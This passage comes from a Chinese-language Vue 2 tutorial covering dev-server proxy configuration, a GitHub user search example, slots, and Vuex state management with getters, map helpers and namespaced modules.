1 <template> 2 <div> 3 <button @click="isShow=!isShow">显示/隐藏</button> 4 <!-- appear一开始就有效果 --> 5 <transition-group 6 appear 7 name="animate__animated animate__bounce" 8 enter-active-class="animate__swing" 9 leave-active-class="animate__rotateOutDownLeft" 10 > 11 <h1 v-show="isShow" key="2">杰马集团</h1> 12 </transition-group> 13 </div> 14 </template> 15 <script> 16 import 'animate.css' 17 export default { 18 // eslint-disable-next-line vue/multi-word-component-names 19 name: 'Test4', 20 data() { 21 return { 22 isShow: 'true' 23 } 24 }, 25 } 26 </script> 27 <style scoped> 28 h1 { 29 background-color: gold 30 31 } 32 33 34 </style>
2.9 vue脚手架配置代理
可以用来解决跨域的问题

ajax 是前端技术,你得有浏览器,才有window对象,才有xhr,才能发ajax请求,服务器之间通信就用传统的http请求就行了。
方法一
在vue.config.js中添加如下配置:
1 devServer:{ 2 proxy:"http://localhost:5000" 3 }
App.vue
1 <template> 2 <div> 3 <button @click="getStudents">获取学生信息</button> 4 </div> 5 </template> 6 7 <script> 8 import axios from 'axios' 9 export default { 10 name:'App', 11 methods: { 12 getStudents(){ 13 axios.get('http://localhost:8080/students').then( 14 response=>{ 15 console.log('请求成功了',response.data) 16 }, 17 error=>{ 18 console.log('请求失败了',error.message) 19 } 20 ) 21 } 22 }, 23 24 } 25 </script>
说明:
- 优点:配置简单,请求资源时直接发给前端(8080)即可。
- 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
- 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)
方法二
编写vue.config.js配置具体代理规则:
1 module.exports = { 2 devServer: { 3 proxy: { 4 '/api1': {// 匹配所有以 '/api1'开头的请求路径 5 target: 'http://localhost:5000',// 代理目标的基础路径 6 changeOrigin: true, 7 pathRewrite: {'^/api1': ''}//代理服务器将请求地址转给真实服务器时会将 /api1 去掉 8 }, 9 '/api2': {// 匹配所有以 '/api2'开头的请求路径 10 target: 'http://localhost:5001',// 代理目标的基础路径 11 changeOrigin: true, 12 pathRewrite: {'^/api2': ''} 13 } 14 } 15 } 16 } 17 /* 18 changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000 19 changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080 20 changeOrigin默认值为true 21 */
App.vue
1 <template> 2 <div> 3 <button @click="getStudents">获取学生信息</button> 4 </div> 5 </template> 6 7 <script> 8 import axios from 'axios' 9 export default { 10 name:'App', 11 methods: { 12 getStudents(){ 13 axios.get('http://localhost:8080/api/students').then( 14 response=>{ 15 console.log('请求成功了',response.data) 16 }, 17 error=>{ 18 console.log('请求失败了',error.message) 19 } 20 ) 21 } 22 }, 23 24 } 25 </script>
说明:
- 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
- 缺点:配置略微繁琐,请求资源时必须加前缀。
2.10 github搜索案例
List.vue
1 <template> 2 <div class="row"> 3 <!-- 展示用户列表 --> 4 <div v-show="info.users.length" class="card" v-for="user in info.users" :key="user.login"> 5 <a :href="user.html_url" target="_blank"> 6 <img :src="user.avatar_url" style='width: 100px'/> 7 </a> 8 <p class="card-text">{{user.login}}</p> 9 </div> 10 <!-- 展示欢迎词 --> 11 <h1 v-show="info.isFirst">Welcome to use!</h1> 12 <!-- 展示加载中 --> 13 <h1 v-show="info.isLoading">loading...</h1> 14 <!-- 展示错误信息 --> 15 <h1 v-show="info.errMsg">{{info.errMsg}}</h1> 16 </div> 17 </template> 18 19 <script> 20 export default { 21 // eslint-disable-next-line vue/multi-word-component-names 22 name:'List', 23 data() { 24 return { 25 info:{ 26 isFirst:true, 27 isLoading:false, 28 errMsg:'', 29 users:[] 30 } 31 } 32 }, 33 mounted() { 34 this.$bus.$on('updateListData',(dataObj)=>{ 35 this.info = {...this.info,...dataObj} 36 }) 37 }, 38 } 39 </script> 40 41 <style scoped> 42 .album { 43 min-height: 50rem; /* Can be removed; just added for demo purposes */ 44 padding-top: 3rem; 45 padding-bottom: 3rem; 46 background-color: #f7f7f7; 47 } 48 49 .card { 50 float: left; 51 width: 33.333%; 52 padding: .75rem; 53 margin-bottom: 2rem; 54 border: 1px solid #efefef; 55 text-align: center; 56 } 57 58 .card > img { 59 margin-bottom: .75rem; 60 border-radius: 100px; 61 } 62 63 .card-text { 64 font-size: 85%; 65 } 66 </style>
Search.vue
1 <template> 2 <section class="jumbotron"> 3 <h3 class="jumbotron-heading">Search Github Users</h3> 4 <div> 5 <input type="text" placeholder="enter the name you search" v-model="keyWord"/> 6 <button @click="searchUsers">Search</button> 7 </div> 8 </section> 9 </template> 10 11 <script> 12 import axios from 'axios' 13 export default { 14 // eslint-disable-next-line vue/multi-word-component-names 15 name:'Search', 16 data() { 17 return { 18 keyWord:'' 19 } 20 }, 21 methods: { 22 searchUsers(){ 23 //请求前更新List的数据 24 this.$bus.$emit('updateListData',{isLoading:true,errMsg:'',users:[],isFirst:false}) 25 axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then( 26 response => { 27 console.log('请求成功了') 28 //请求成功后更新List的数据 29 this.$bus.$emit('updateListData',{isLoading:false,errMsg:'',users:response.data.items}) 30 }, 31 error => { 32 //请求失败后更新List的数据 33 this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message,users:[]}) 34 } 35 ) 36 } 37 }, 38 } 39 </script>
App.vue
1 <template> 2 <div class="container"> 3 <Search></Search> 4 <List></List> 5 </div> 6 7 </template> 8 9 <script> 10 import List from "./components/List"; 11 import Search from "./components/Search"; 12 export default { 13 components: { 14 List, 15 Search, 16 }, 17 name: "App", 18 }; 19 </script> 20 21 <style> 22 </style>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //关闭Vue的生产提示 6 Vue.config.productionTip = false 7 8 //创建vm 9 new Vue({ 10 el:'#root', 11 render: h => h(App), 12 beforeCreate() { 13 Vue.prototype.$bus = this 14 }, 15 })
2.11 slot插槽
-
作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件 。
-
分类:默认插槽、具名插槽、作用域插槽
-
使用方式:
- 默认插槽
Category.vue:
1 <template> 2 <div class="category"> 3 <h3>{{title}}分类</h3> 4 <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) --> 5 <slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> 6 </div> 7 </template> 8 9 <script> 10 export default { 11 // eslint-disable-next-line vue/multi-word-component-names 12 name:'Category', 13 props:['title'] 14 } 15 </script> 16 17 <style scoped> 18 .category{ 19 background-color: skyblue; 20 width: 200px; 21 height: 300px; 22 } 23 h3{ 24 text-align: center; 25 background-color: orange; 26 } 27 video{ 28 width: 100%; 29 } 30 img{ 31 width: 100%; 32 } 33 </style>
App.vue:
1 <template> 2 <div class="container"> 3 <Category title="美食" > 4 <img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt=""> 5 </Category> 6 7 <Category title="游戏" > 8 <ul> 9 <li v-for="(g,index) in games" :key="index">{{g}}</li> 10 </ul> 11 </Category> 12 13 <Category title="电影"> 14 <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video> 15 </Category> 16 </div> 17 </template> 18 19 <script> 20 import Category from './components/Category' 21 export default { 22 name:'App', 23 components:{Category}, 24 data() { 25 return { 26 foods:['火锅','烧烤','小龙虾','牛排'], 27 games:['红色警戒','穿越火线','劲舞团','超级玛丽'], 28 films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》'] 29 } 30 }, 31 } 32 </script> 33 34 <style scoped> 35 .container{ 36 display: flex; 37 justify-content: space-around; 38 } 39 </style>
2.具名插槽:
Category.vue:
1 <template> 2 <div class="category"> 3 <h3>{{title}}分类</h3> 4 <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) --> 5 <slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> 6 <slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> 7 </div> 8 </template> 9 10 <script> 11 export default { 12 // eslint-disable-next-line vue/multi-word-component-names 13 name:'Category', 14 props:['title'] 15 } 16 </script> 17 18 <style scoped> 19 .category{ 20 background-color: skyblue; 21 width: 200px; 22 height: 300px; 23 } 24 h3{ 25 text-align: center; 26 background-color: orange; 27 } 28 video{ 29 width: 100%; 30 } 31 img{ 32 width: 100%; 33 } 34 </style>
App.vue:
1 <template> 2 <div class="container"> 3 <Category title="美食" > 4 <img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt=""> 5 <a slot="footer" href="http://www.baidu.com">更多美食</a> 6 </Category> 7 <Category title="游戏" > 8 <ul slot="center"> 9 <li v-for="(g,index) in games" :key="index">{{g}}</li> 10 </ul> 11 <div class="foot" slot="footer"> 12 <a href="http://www.baidu.com">单机游戏</a> 13 <a href="http://www.baidu.com">网络游戏</a> 14 </div> 15 </Category> 16 17 <Category title="电影"> 18 <video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video> 19 <template v-slot:footer> 20 <div class="foot"> 21 <a href="http://www.baidu.com">经典</a> 22 <a href="http://www.baidu.com">热门</a> 23 <a href="http://www.baidu.com">推荐</a> 24 </div> 25 <h4>欢迎前来观影</h4> 26 </template> 27 </Category> 28 </div> 29 </template> 30 31 <script> 32 import Category from './components/Category' 33 export default { 34 name:'App', 35 components:{Category}, 36 data() { 37 return { 38 foods:['火锅','烧烤','小龙虾','牛排'], 39 games:['红色警戒','穿越火线','劲舞团','超级玛丽'], 40 films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》'] 41 } 42 }, 43 } 44 </script> 45 46 <style scoped> 47 .container{ 48 display: flex; 49 justify-content: space-around; 50 } 51 .foot{ 52 display: flex; 53 justify-content: space-around; 54 } 55 h4{ 56 display: flex; 57 justify-content: space-around; 58 } 59 60 </style>
3.作用域插槽:
Category.vue:
1 <template> 2 <div class="category"> 3 <h3>{{title}}分类</h3> 4 <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) --> 5 <slot :games="games">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> 6 7 </div> 8 </template> 9 10 <script> 11 export default { 12 // eslint-disable-next-line vue/multi-word-component-names 13 name:'Category', 14 props:['title'], 15 data() { 16 return { 17 games:['红色警戒','穿越火线','劲舞团','超级玛丽'], 18 } 19 }, 20 } 21 </script> 22 23 <style scoped> 24 .category{ 25 background-color: skyblue; 26 width: 200px; 27 height: 300px; 28 } 29 h3{ 30 text-align: center; 31 background-color: orange; 32 } 33 video{ 34 width: 100%; 35 } 36 img{ 37 width: 100%; 38 } 39 </style>
App.vue:
1 <template> 2 <div class="container"> 3 4 <Category title="游戏" > 5 <template scope={games}> 6 <ul> 7 <li v-for="(g,index) in games" :key="index">{{g}}</li> 8 </ul> 9 </template> 10 </Category> 11 12 <Category title="游戏" > 13 <template scope={games}> 14 <ol> 15 <li v-for="(g,index) in games" :key="index">{{g}}</li> 16 </ol> 17 </template> 18 </Category> 19 20 <Category title="游戏" > 21 <template slot-scope={games}> 22 <h4 v-for="(g,index) in games" :key="index">{{g}}</h4> 23 </template> 24 </Category> 25 26 </div> 27 </template> 28 29 <script> 30 import Category from './components/Category' 31 export default { 32 name:'App', 33 components:{Category}, 34 35 } 36 </script> 37 38 <style scoped> 39 .container{ 40 display: flex; 41 justify-content: space-around; 42 } 43 .foot{ 44 display: flex; 45 justify-content: space-around; 46 } 47 h4{ 48 display: flex; 49 justify-content: space-around; 50 } 51 52 </style>
3. VUEX
3.1 概念
在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。
3.2 何时使用?
多个组件需要共享数据时
3.3 搭建vuex环境
1.创建文件:src/store/index.js
1 //该文件用于创建Vuex中最为核心的store 2 3 //引入Vue 4 import Vue from 'vue' 5 //引入Vuex 6 import Vuex from 'vuex' 7 //使用Vuex 8 Vue.use(Vuex) 9 //准备actions-用于响应组件中的动作 10 const actions={} 11 //准备mutations-用于操作数据(state) 12 const mutations={} 13 //准备state-用于存储数据 14 const state={} 15 16 //创建并暴露store 17 export default new Vuex.Store({ 18 actions, 19 mutations, 20 state 21 })
2.在main.js中创建vm时传入store配置项
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入插件 6 import vueResource from 'vue-resource' 7 //引入store 8 import store from './store/index' 9 //关闭Vue的生产提示 10 Vue.config.productionTip = false 11 //使用插件 12 Vue.use(vueResource) 13 14 //创建vm 15 new Vue({ 16 el:'#root', 17 render: h => h(App), 18 store, 19 beforeCreate() { 20 Vue.prototype.$bus = this 21 }, 22 })
3.4 基本使用
1.初始化数据、配置actions、配置mutations,操作文件store.js
1 //引入Vue核心库 2 import Vue from 'vue' 3 //引入Vuex 4 import Vuex from 'vuex' 5 //引用Vuex 6 Vue.use(Vuex) 7 8 const actions = { 9 //响应组件中加的动作 10 jia(context,value){ 11 // console.log('actions中的jia被调用了',miniStore,value) 12 context.commit('JIA',value) 13 }, 14 } 15 16 const mutations = { 17 //执行加 18 JIA(state,value){ 19 // console.log('mutations中的JIA被调用了',state,value) 20 state.sum += value 21 } 22 } 23 24 //初始化数据 25 const state = { 26 sum:0 27 } 28 29 //创建并暴露store 30 export default new Vuex.Store({ 31 actions, 32 mutations, 33 state, 34 })
2.组件中读取vuex中的数据:$store.state.sum
3.组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)或 $store.commit('mutations中的方法名',数据)
备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit
简单案例:
纯vue版:
Count.vue
1 <template> 2 <div> 3 <h1>当前求和为:{{sum}}</h1> 4 <select v-model.number="n"> 5 <option value="1">1</option> 6 <option value="2">2</option> 7 <option value="3">3</option> 8 </select> 9 <button @click="increment">+</button> 10 <button @click="decrement">-</button> 11 <button @click="incrementOdd">当前求和为奇数再加</button> 12 <button @click="incrementWait">等一等再加</button> 13 </div> 14 </template> 15 16 <script> 17 export default { 18 name:'Count', 19 data() { 20 return { 21 n:1, //用户选择的数字 22 sum:0 //当前的和 23 } 24 }, 25 methods: { 26 increment(){ 27 this.sum += this.n 28 }, 29 decrement(){ 30 this.sum -= this.n 31 }, 32 incrementOdd(){ 33 if(this.sum % 2){ 34 this.sum += this.n 35 } 36 }, 37 incrementWait(){ 38 setTimeout(()=>{ 39 this.sum += this.n 40 },500) 41 }, 42 }, 43 } 44 </script> 45 46 <style lang="css"> 47 button{ 48 margin-left: 5px; 49 } 50 </style>
App.vue
1 <template> 2 <div> 3 <Count/> 4 </div> 5 </template> 6 7 <script> 8 import Count from './components/Count' 9 export default { 10 name:'App', 11 components:{Count}, 12 } 13 </script>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入插件 6 import vueResource from 'vue-resource' 7 //关闭Vue的生产提示 8 Vue.config.productionTip = false 9 //使用插件 10 Vue.use(vueResource) 11 12 //创建vm 13 new Vue({ 14 el:'#app', 15 render: h => h(App), 16 beforeCreate() { 17 Vue.prototype.$bus = this 18 } 19 })
Vuex版:
Count.vue
1 <template> 2 <div> 3 <h1>当前求和为:{{$store.state.sum}}</h1> 4 <select v-model="n"> 5 <option :value="1">1</option> 6 <option :value="2">2</option> 7 <option :value="3">3</option> 8 </select> 9 <button @click="increment">+</button> 10 <button @click="decrement">-</button> 11 <button @click="incrementOdd">当前求和为奇数再加</button> 12 <button @click="incrementWait">等一等再加</button> 13 </div> 14 </template> 15 16 <script> 17 export default { 18 // eslint-disable-next-line vue/multi-word-component-names 19 name:'Count', 20 data(){ 21 return{ 22 n:1,//用户选择的数字 23 } 24 }, 25 methods:{ 26 //如果没有什么业务逻辑,可直接跳过action,直接调用commit 27 increment(){ 28 this.$store.commit('JIA',this.n) 29 }, 30 decrement(){ 31 this.$store.commit('JIAN',this.n) 32 }, 33 incrementOdd(){ 34 this.$store.dispatch('oddJia',this.n) 35 }, 36 incrementWait(){ 37 this.$store.dispatch('waitJia',this.n) 38 } 39 } 40 } 41 </script> 42 43 <style> 44 button{ 45 margin-left: 5px; 46 } 47 </style>
App.vue
1 <template> 2 <div> 3 <Count></Count> 4 </div> 5 </template> 6 7 <script> 8 import Count from './components/Count' 9 export default { 10 name:'App', 11 components:{Count} 12 } 13 </script> 14 15 <style> 16 17 </style>
index.js
1 //该文件用于创建Vuex中最为核心的store 2 3 //引入Vue 4 import Vue from 'vue' 5 //引入Vuex 6 import Vuex from 'vuex' 7 //使用Vuex 8 Vue.use(Vuex) 9 //准备actions-用于响应组件中的动作 10 const actions={ 11 /* jia(context,value){ 12 context.commit('JIA',value) 13 }, */ 14 /* jian(context,value){ 15 context.commit('JIAN',value) 16 }, */ 17 oddJia(context,value){ 18 if(context.state.sum % 2){ 19 context.commit('ODDJIA',value) 20 } 21 }, 22 waitJia(context,value){ 23 setTimeout(() => { 24 context.commit('WAITJIA',value) 25 }, 500); 26 } 27 } 28 //准备mutations-用于操作数据(state) 29 const mutations={ 30 JIA(state,value){ 31 state.sum += value 32 }, 33 JIAN(state,value){ 34 state.sum -= value 35 }, 36 ODDJIA(state,value){ 37 state.sum += value 38 }, 39 WAITJIA(state,value){ 40 state.sum += value 41 } 42 } 43 //准备state-用于存储数据 44 const state={ 45 sum:0,//当前的和 46 } 47 48 //创建并暴露store 49 export default new Vuex.Store({ 50 actions, 51 mutations, 52 state 53 })
3.5 getters的使用
-
概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。
-
在
store.js中追加getters配置1 ...... 2 3 const getters = { 4 bigSum(state){ 5 return state.sum * 10 6 } 7 } 8 9 //创建并暴露store 10 export default new Vuex.Store({ 11 ...... 12 getters 13 })
3.组件中读取数据:$store.getters.bigSum
3.6 四个map方法的使用
导入:
1 import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
1.mapState方法:用于帮助我们映射state中的数据为计算属性
1 computed: { 2 //借助mapState生成计算属性:sum、school、subject(对象写法) 3 ...mapState({sum:'sum',school:'school',subject:'subject'}), 4 5 //借助mapState生成计算属性:sum、school、subject(数组写法) 6 ...mapState(['sum','school','subject']), 7 },
2.mapGetters方法:用于帮助我们映射getters中的数据为计算属性
1 computed: { 2 //借助mapGetters生成计算属性:bigSum(对象写法) 3 ...mapGetters({bigSum:'bigSum'}), 4 5 //借助mapGetters生成计算属性:bigSum(数组写法) 6 ...mapGetters(['bigSum']) 7 },
3.mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数
1 methods:{ 2 //靠mapActions生成:incrementOdd、incrementWait(对象形式) 3 ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'}) 4 5 //靠mapActions生成:incrementOdd、incrementWait(数组形式) 6 ...mapActions(['jiaOdd','jiaWait']) 7 }
4.mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数
1 methods:{ 2 //靠mapActions生成:increment、decrement(对象形式) 3 ...mapMutations({increment:'JIA',decrement:'JIAN'}), 4 5 //靠mapMutations生成:JIA、JIAN(对象形式) 6 ...mapMutations(['JIA','JIAN']), 7 }
备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则传的参数是事件对象(event)。
具体案例:
App.vue
1 <template> 2 <div> 3 <Count></Count> 4 </div> 5 </template> 6 7 <script> 8 import Count from './components/Count' 9 export default { 10 name:'App', 11 components:{Count} 12 } 13 </script> 14 15 <style> 16 17 </style>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入插件 6 import vueResource from 'vue-resource' 7 //引入store 8 import store from './store/index' 9 //关闭Vue的生产提示 10 Vue.config.productionTip = false 11 //使用插件 12 Vue.use(vueResource) 13 14 //创建vm 15 new Vue({ 16 el:'#root', 17 render: h => h(App), 18 store, 19 beforeCreate() { 20 Vue.prototype.$bus = this 21 }, 22 })
index.js
1 //该文件用于创建Vuex中最为核心的store 2 3 //引入Vue 4 import Vue from 'vue' 5 //引入Vuex 6 import Vuex from 'vuex' 7 //使用Vuex 8 Vue.use(Vuex) 9 //准备actions-用于响应组件中的动作 10 const actions={ 11 /* jia(context,value){ 12 context.commit('JIA',value) 13 }, */ 14 /* jian(context,value){ 15 context.commit('JIAN',value) 16 }, */ 17 oddJia(context,value){ 18 if(context.state.sum % 2){ 19 context.commit('ODDJIA',value) 20 } 21 }, 22 waitJia(context,value){ 23 setTimeout(() => { 24 context.commit('WAITJIA',value) 25 }, 500); 26 } 27 } 28 //准备mutations-用于操作数据(state) 29 const mutations={ 30 JIA(state,value){ 31 state.sum += value 32 }, 33 JIAN(state,value){ 34 state.sum -= value 35 }, 36 ODDJIA(state,value){ 37 state.sum += value 38 }, 39 WAITJIA(state,value){ 40 state.sum += value 41 } 42 } 43 //准备state-用于存储数据 44 const state={ 45 sum:0,//当前的和 46 school:'杰马课堂', 47 subject:'前端' 48 } 49 //准备getters-用于将state中的数据进行加工 50 const getters={ 51 bigSum(state){ 52 return state.sum*10 53 } 54 } 55 //创建并暴露store 56 export default new Vuex.Store({ 57 actions, 58 mutations, 59 state, 60 getters 61 })
mapState与mapGetters:Count.vue
1 <template> 2 <div> 3 <h1>当前求和为:{{sum}}</h1> 4 <h3>当前求和放大10倍为:{{bigSum}}</h3> 5 <h3>我在{{school}},学习{{subject}}</h3> 6 <select v-model="n"> 7 <option :value="1">1</option> 8 <option :value="2">2</option> 9 <option :value="3">3</option> 10 </select> 11 <button @click="increment">+</button> 12 <button @click="decrement">-</button> 13 <button @click="incrementOdd">当前求和为奇数再加</button> 14 <button @click="incrementWait">等一等再加</button> 15 </div> 16 </template> 17 18 <script> 19 import { mapState,mapGetters } from 'vuex' 20 export default { 21 // eslint-disable-next-line vue/multi-word-component-names 22 name:'Count', 23 data(){ 24 return{ 25 n:1,//用户选择的数字 26 } 27 }, 28 computed:{ 29 //靠程序员自己写计算属性 30 /* sum(){ 31 return this.$store.state.sum 32 }, 33 school(){ 34 return this.$store.state.school 35 }, 36 subject(){ 37 return this.$store.state.subject 38 }, */ 39 40 /* //...:把对象依次取出放入 41 //借助mapState生成计算属性,从state中读取数据(对象写法) 42 ...mapState({he:'sum',xuexiao:'school',xueke:'subject'}), */ 43 //借助mapState生成计算属性,从state中读取数据(数组写法) 44 ...mapState(['sum','school','subject']), 45 /* bigSum(){ 46 return this.$store.getters.bigSum 47 }, */ 48 ...mapGetters(['bigSum']) 49 }, 50 methods:{ 51 //如果没有什么业务逻辑,可直接跳过action,直接调用commit 52 increment(){ 53 this.$store.commit('JIA',this.n) 54 }, 55 decrement(){ 56 this.$store.commit('JIAN',this.n) 57 }, 58 incrementOdd(){ 59 this.$store.dispatch('oddJia',this.n) 60 }, 61 incrementWait(){ 62 this.$store.dispatch('waitJia',this.n) 63 } 64 } 65 } 66 </script> 67 68 <style> 69 button{ 70 margin-left: 5px; 71 } 72 </style>
1 <template> 2 <div> 3 <h1>当前求和为:{{sum}}</h1> 4 <h3>当前求和放大10倍为:{{bigSum}}</h3> 5 <h3>我在{{school}},学习{{subject}}</h3> 6 <select v-model="n"> 7 <option :value="1">1</option> 8 <option :value="2">2</option> 9 <option :value="3">3</option> 10 </select> 11 <button @click="increment(n)">+</button> 12 <button @click="decrement(n)">-</button> 13 <button @click="incrementOdd(n)">当前求和为奇数再加</button> 14 <button @click="incrementWait(n)">等一等再加</button> 15 </div> 16 </template> 17 18 <script> 19 import { mapState,mapGetters,mapMutations,mapActions } from 'vuex' 20 export default { 21 // eslint-disable-next-line vue/multi-word-component-names 22 name:'Count', 23 data(){ 24 return{ 25 n:1,//用户选择的数字 26 } 27 }, 28 computed:{ 29 /* //...:把对象依次取出放入 30 //借助mapState生成计算属性,从state中读取数据(对象写法) 31 ...mapState({he:'sum',xuexiao:'school',xueke:'subject'}), */ 32 //借助mapState生成计算属性,从state中读取数据(数组写法) 33 ...mapState(['sum','school','subject']), 34 35 ...mapGetters(['bigSum']) 36 }, 37 methods:{ 38 //程序员亲自写方法 39 //如果没有什么业务逻辑,可直接跳过action,直接调用commit 40 /* increment(){ 41 this.$store.commit('JIA',this.n) 42 }, 43 decrement(){ 44 this.$store.commit('JIAN',this.n) 45 }, */ 46 //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations 47 ...mapMutations({increment:'JIA',decrement:'JIAN'}), 48 49 //程序员亲自写方法 50 /* incrementOdd(){ 51 this.$store.dispatch('oddJia',this.n) 52 }, 53 incrementWait(){ 54 this.$store.dispatch('waitJia',this.n) 55 }, */ 56 //借助mapActions生成对应的方法,方法中会调用dispatch去联系actions 57 ...mapActions({incrementOdd:'oddJia',incrementWait:'waitJia'}) 58 } 59 } 60 </script> 61 62 <style> 63 button{ 64 margin-left: 5px; 65 } 66 </style>
多组件间共享数据
App.vue:
1 <template> 2 <div> 3 <Count></Count> 4 <hr> 5 <Person></Person> 6 </div> 7 </template> 8 9 <script> 10 import Count from './components/Count' 11 import Person from './components/Person' 12 export default { 13 name:'App', 14 components:{Count,Person} 15 } 16 </script> 17 18 <style> 19 20 </style>
Count.vue:
1 <template> 2 <div> 3 <h1>当前求和为:{{sum}}</h1> 4 <h3>当前求和放大10倍为:{{bigSum}}</h3> 5 <h3>我在{{school}},学习{{subject}}</h3> 6 <h3 style="color: blue;">下方列表的总人数是:{{personList.length}}</h3> 7 <select v-model="n"> 8 <option :value="1">1</option> 9 <option :value="2">2</option> 10 <option :value="3">3</option> 11 </select> 12 <button @click="increment(n)">+</button> 13 <button @click="decrement(n)">-</button> 14 <button @click="incrementOdd(n)">当前求和为奇数再加</button> 15 <button @click="incrementWait(n)">等一等再加</button> 16 </div> 17 </template> 18 19 <script> 20 import { mapState,mapGetters,mapMutations,mapActions } from 'vuex' 21 export default { 22 // eslint-disable-next-line vue/multi-word-component-names 23 name:'Count', 24 data(){ 25 return{ 26 n:1,//用户选择的数字 27 } 28 }, 29 computed:{ 30 ...mapState(['sum','school','subject','personList']), 31 ...mapGetters(['bigSum']) 32 }, 33 methods:{ 34 ...mapMutations({increment:'JIA',decrement:'JIAN'}), 35 ...mapActions({incrementOdd:'oddJia',incrementWait:'waitJia'}) 36 } 37 } 38 </script> 39 40 <style> 41 button{ 42 margin-left: 5px; 43 } 44 </style>
Person.vue:
1 <template> 2 <div> 3 <h1>人员列表</h1> 4 <h3 style="color:blue">上方组件的求和为:{{sum}}</h3> 5 <input type="text" placeholder="请输入名字" v-model="name"> 6 <button @click="add">添加</button> 7 <ul> 8 <li v-for="p in personList" :key="p.id">{{p.name}}</li> 9 </ul> 10 </div> 11 </template> 12 13 <script> 14 import { nanoid } from 'nanoid' 15 import { mapState } from 'vuex' 16 export default { 17 // eslint-disable-next-line vue/multi-word-component-names 18 name:'Person', 19 data(){ 20 return{ 21 name:'' 22 } 23 }, 24 computed:{ 25 ...mapState(['personList']), 26 ...mapState(['sum']) 27 }, 28 methods:{ 29 add(){ 30 const personObj={id:nanoid(),name:this.name} 31 this.$store.commit('ADD_PERSON',personObj) 32 this.name='' 33 } 34 } 35 } 36 </script> 37 38 <style> 39 40 </style>
index.js:
1 //该文件用于创建Vuex中最为核心的store 2 3 //引入Vue 4 import Vue from 'vue' 5 //引入Vuex 6 import Vuex from 'vuex' 7 //使用Vuex 8 Vue.use(Vuex) 9 //准备actions-用于响应组件中的动作 10 const actions={ 11 /* jia(context,value){ 12 context.commit('JIA',value) 13 }, */ 14 /* jian(context,value){ 15 context.commit('JIAN',value) 16 }, */ 17 oddJia(context,value){ 18 if(context.state.sum % 2){ 19 context.commit('ODDJIA',value) 20 } 21 }, 22 waitJia(context,value){ 23 setTimeout(() => { 24 context.commit('WAITJIA',value) 25 }, 500); 26 } 27 } 28 //准备mutations-用于操作数据(state) 29 const mutations={ 30 JIA(state,value){ 31 state.sum += value 32 }, 33 JIAN(state,value){ 34 state.sum -= value 35 }, 36 ODDJIA(state,value){ 37 state.sum += value 38 }, 39 WAITJIA(state,value){ 40 state.sum += value 41 }, 42 ADD_PERSON(state,value){ 43 state.personList.unshift(value) 44 } 45 } 46 //准备state-用于存储数据 47 const state={ 48 sum:0,//当前的和 49 school:'杰马课堂', 50 subject:'前端', 51 personList:[ 52 {id:'001',name:'张三'} 53 ] 54 } 55 //准备getters-用于将state中的数据进行加工 56 const getters={ 57 bigSum(state){ 58 return state.sum*10 59 } 60 } 61 //创建并暴露store 62 export default new Vuex.Store({ 63 actions, 64 mutations, 65 state, 66 getters 67 })
3.7 模块化编码+命名空间
1.目的:让代码更好维护,让多种数据分类更加明确
2.修改store.js
1 const countAbout = { 2 namespaced:true,//开启命名空间 3 state:{x:1}, 4 mutations: { ... }, 5 actions: { ... }, 6 getters: { 7 bigSum(state){ 8 return state.sum * 10 9 } 10 } 11 } 12 13 const personAbout = { 14 namespaced:true,//开启命名空间 15 state:{ ... }, 16 mutations: { ... }, 17 actions: { ... } 18 } 19 20 const store = new Vuex.Store({ 21 modules: { 22 countAbout, 23 personAbout 24 } 25 })
3.开启命名空间后,组件中读取state数据:
//方式一:自己直接读取
this.$store.state.personAbout.list
//方式二:借助mapState读取:
// 用 mapState 取 countAbout 中的state 必须加上 'countAbout'
...mapState('countAbout',['sum','school','subject']),
4.开启命名空间后,组件中读取getters数据:
//方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']
//方式二:借助mapGetters读取:
...mapGetters('countAbout',['bigSum'])
5.开启命名空间后,组件中调用dispatch
//方式一:自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)
//方式二:借助mapActions:
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
6.开启命名空间后,组件中调用commit
//方式一:自己直接commit
